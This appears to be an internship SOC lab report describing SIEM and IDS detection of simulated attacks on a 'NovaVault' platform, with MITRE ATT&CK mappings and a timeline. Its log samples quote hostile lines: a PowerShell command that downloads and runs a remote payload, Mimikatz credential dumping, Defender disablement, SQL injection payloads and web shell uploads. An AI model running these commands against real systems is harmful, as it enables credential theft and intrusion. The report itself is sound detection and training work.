

STRICTLY CONFIDENTIAL — INTERNSHIP SUBMISSION



NOVAVULT

SECURITY OPERATIONS CENTER

SOC Monitoring & Intrusion Detection Lab

Mini Security Operations Center — SIEM, IDS, Attack Simulation & Incident Response

STANDARDS

MITRE ATT&CK · NIST SP 800-61

ASSESSMENT DATE

22 September 2026

PROJECT

Project 2 — SOC Lab

318

Events Ingested

3

Critical Alerts

6

High Severity

9

Total Active Alerts

1

Executive Summary

A mini Security Operations Center (SOC) was designed, deployed, and operationalized against the NovaVault Operations & Asset Management platform. The lab replicates a realistic enterprise SOC environment incorporating SIEM event correlation, IDS rule-based detection,

enterprise SOC environment incorporating SIEM event correlation, IDS rule-based detection, telemetry generation, and incident investigation workflows.

The SOC engine ingested **318 security events** spanning authentication, web, process, and network log sources. Automated detection rules identified **9 active alerts** — including 3 Critical and 6 High severity incidents — covering all five attack scenarios defined in the project scope: SSH Brute Force, SQL Injection, Port Scanning, Privilege Escalation, and Web Shell Upload.

All MITRE ATT&CK techniques associated with the simulated threat actor ([185.220.101.47](#)) were successfully detected and correlated. The Incident Investigation Workbench confirmed full timeline reconstruction for each alert, enabling end-to-end incident response simulation.

318

Total Events Ingested

3

Critical Threats

6

High Severity Alerts

5

Attack Scenarios
Detected

2 Scope & Task Coverage

TASK	COMPONENT	IMPLEMENTATION	STATUS
SIEM Configuration	Detection Engine	Custom Python SIEM with multi-source log correlation	✓ COMPLETE
Log Collection	Telemetry Generator	318 events across auth, web, process, network sources	✓ COMPLETE
IDS Deployment	Rule Engine	Suricata-style correlation rules mapped to MITRE ATT&CK	✓ COMPLETE
Attack Simulation	Attack Simulator	5 scenarios: Brute Force, SQLi, Port Scan, PrivEsc, Webshell	✓ COMPLETE
Incident Investigation	Workbench	Timeline reconstruction, IP correlation, 30-event context	✓ COMPLETE
Alert Generation	Alert Manager	9 alerts fired — Critical/High with MITRE tagging	✓ COMPLETE
SOC Dashboard	Flask Web App	Kibana-style UI: metrics, severity charts, top IP table	✓ COMPLETE
Log Analysis Report	This Document	Full incident report with MITRE mapping and remediation	✓ COMPLETE

3

SOC Architecture & Components



Telemetry Generator

Simulates realistic enterprise log traffic — 318 events across authentication, web, process and network sources. Maps to real log formats (auth.log, Sysmon EventID 1, Suricata alerts).



Detection Engine (SIEM)

Python-based SIEM correlation engine. Processes event streams, applies IDS rules, scores severity, and generates structured alerts with MITRE ATT&CK technique mappings.



Attack Simulator

On-demand attack scenario triggers covering all 5 threat categories. Injects malicious event streams into the SOC pipeline for real-time detection testing.



SOC Dashboard (Flask)

Kibana/Wazuh-style web interface with live metrics, severity distribution, top source IP table with SUSPECT/INTERNAL tagging, alert queue, and incident workbench.



Alert Manager

Centralized alert queue sorted by severity score. Displays rule ID, MITRE technique tag, source IP, event count, and status for each triggered alert.



Incident Investigation Workbench

Full timeline reconstruction per alert. Correlates up to 30 related events by source IP and username across all log sources for end-to-end incident analysis.

4

Alert Findings & Incident Analysis

CRITICAL

Malicious File Upload / Web Shell

T1505.003

98/100

SOURCE IP

185.220.101.47

RULE ID

IDS-WEB-005

EVENTS

5

MITRE TACTIC

Persistence

TIMESTAMP

2026-09-22 11:34:55

TARGET

POST /upload_avatar

Technical Description: Threat actor at 185.220.101.47 uploaded 5 malicious files with disguised MIME types. Filenames: webshell.php, cmd.aspx, exploit.jsp, backdoor.py, c99.php5. T1505.003 — persistent remote code execution vector.

```
# IDS Alert — Rule: IDS-WEB-005
185.220.101.47 - POST /upload_avatar fname=webshell.php content-type=image/jpeg status=200
185.220.101.47 - POST /upload_avatar fname=cmd.aspx content-type=image/jpeg status=200
185.220.101.47 - POST /upload_avatar fname=exploit.jsp content-type=application/x-jpg status=200
```

CRITICAL

SQL Injection Attempt Detected

T1190

95/100

SOURCE IP	RULE ID	EVENTS
185.220.101.47	IDS-WEB-002	5
MITRE TACTIC	TOOL	TARGET
Initial Access	sqlmap/1.7.8	/products, /login, /search

Technical Description: Automated SQLi tooling detected via User-Agent fingerprinting. UNION SELECT credential extraction, authentication bypass via `admin' --`, and error-based schema enumeration. HTTP 500 responses confirm active error disclosure.

```
# Payload samples captured in IDS log
GET /products?q=%27+UNION+SELECT+id,username,password,4,5+FROM+users+-- HTTP/1.1
GET /login?username=admin%27+--&password=x HTTP/1.1
```

CRITICAL

Suspicious Administrative Command Execution

T1548

92/100

SOURCE IP	RULE ID	EVENTS
10.14.0.50	SIEM-PROC-005	8
AFFECTED HOST	COMPROMISED USER	LOG SOURCE
NOVAVAULT-DC01	sarah.chen	Sysmon EventID=1

Technical Description: 8 high-risk Sysmon process creation events under `sarah.chen` on the Domain Controller — Mimikatz credential dump, Defender disablement, admin group modification, and remote PowerShell payload download.

```
# Sysmon EventID=1 - Privilege Escalation Chain
powershell.exe - Invoke-Mimikatz -Command "sekurlsa::logonpasswords"
powershell.exe - Set-MpPreference -DisableRealtimeMonitoring $true
cmd.exe - net localgroup administrators attacker /add
powershell.exe - IEX (New-Object
Net.WebClient).DownloadString('http://185.220.101.47/payload.ps1')
```

HIGH

SSH / Admin Brute Force Attack

T1110

80/100

SOURCE IP	EVENTS	TARGET PORT
185.220.101.47	25	22 (SSH)
MITRE TACTIC	USERNAMES TRIED	RESULT
Credential Access	root, admin, sa, oracle	No Success

Technical Description: 25 rapid sequential SSH authentication failures from external IP targeting multiple privileged usernames. Alert escalated from Medium to High after 5 consecutive failures. No successful external authentication recorded.

HIGH

Successful Login After Multiple Failures (Possible Brute Force Success)

T1110

75/100

AFFECTED HOSTS

10.14.0.25 / 192.168.1.202 / 10.14.0.11

ALERTS FIRED

3 alerts

MITRE TACTIC

Credential Access

Technical Description: Three internal hosts exhibited successful logins after repeated failures — strong indicator of credential guessing or password spraying success (T1110). Event counts: 11, 15, and 18 per alert. Possible lateral movement via credentials from SQLi dump.

5

MITRE ATT&CK® Technique Coverage

TECHNIQUE ID	TECHNIQUE NAME	TACTIC	ALERTS	DETECTION SOURCE
T1110	Brute Force	Credential Access	4	auth_log, windows_event
T1190	Exploit Public-Facing Application	Initial Access	1	network_ids, web_log
T1548	Abuse Elevation Control Mechanism	Privilege Escalation	1	sysmon (EventID=1)
T1505.003	Server Software Component: Web Shell	Persistence	1	web_log, network_ids
T1046	Network Service Discovery	Discovery	1	network_ids (Suricata)
T1078	Valid Accounts	Initial Access	—	auth_log (baseline)
T1059	Command and Scripting Interpreter	Execution	—	sysmon (baseline)

6

Attack Timeline Reconstruction

Full timeline of the simulated threat actor campaign originating from 185.220.101.47 :



07:53 - 08:14 UTC

Baseline Reconnaissance — Passive Observation

Normal web traffic logged from internal IPs. Attacker fingerprints application endpoints via standard GET requests.

08:00 - 08:09 UTC

Port Scanning (T1046) — Network Service Discovery

Sequential SYN probes to 15 ports. Nmap Scripting Engine User-Agent fingerprinted. IDS alert fired after 3 probes.

11:26 UTC

SQL Injection Campaign (T1190) — Credential Extraction

sqlmap 1.7.8 identified via User-Agent. UNION SELECT payloads targeting /products and /login. HTTP 500 error-based disclosure confirmed. Critical alert fired.

11:34 UTC

Web Shell Upload (T1505.003) — Persistence Established

5 malicious files uploaded with spoofed MIME types. PHP, ASPX, JSP, Python webshells detected. Severity score 98/100.

11:38 UTC

Privilege Escalation (T1548) — Post-Exploitation

8 Sysmon EventID=1 alerts on NOVAVault-DC01 under sarah.chen. Mimikatz, Defender disablement, admin group modification, remote payload download.

11:51 UTC

Brute Force (T1110) — SSH Credential Attack

25 rapid SSH failures targeting root, admin, sa, oracle. No successful external authentication recorded.

Ongoing

Internal Brute Force Success Indicators (T1110)

3 internal hosts show successful logins after multiple failures. Possible lateral movement via credentials from SQLi dump.

7 Log Analysis Summary

LOG SOURCE	EVENTS COLLECTED	CATEGORY	ALERTS GENERATED
auth_log / windows_event	~80 events	Authentication	4 (Brute Force + Success after Failure)
web_log	~130 events	Web / HTTP	2 (SQL i. Web Shell)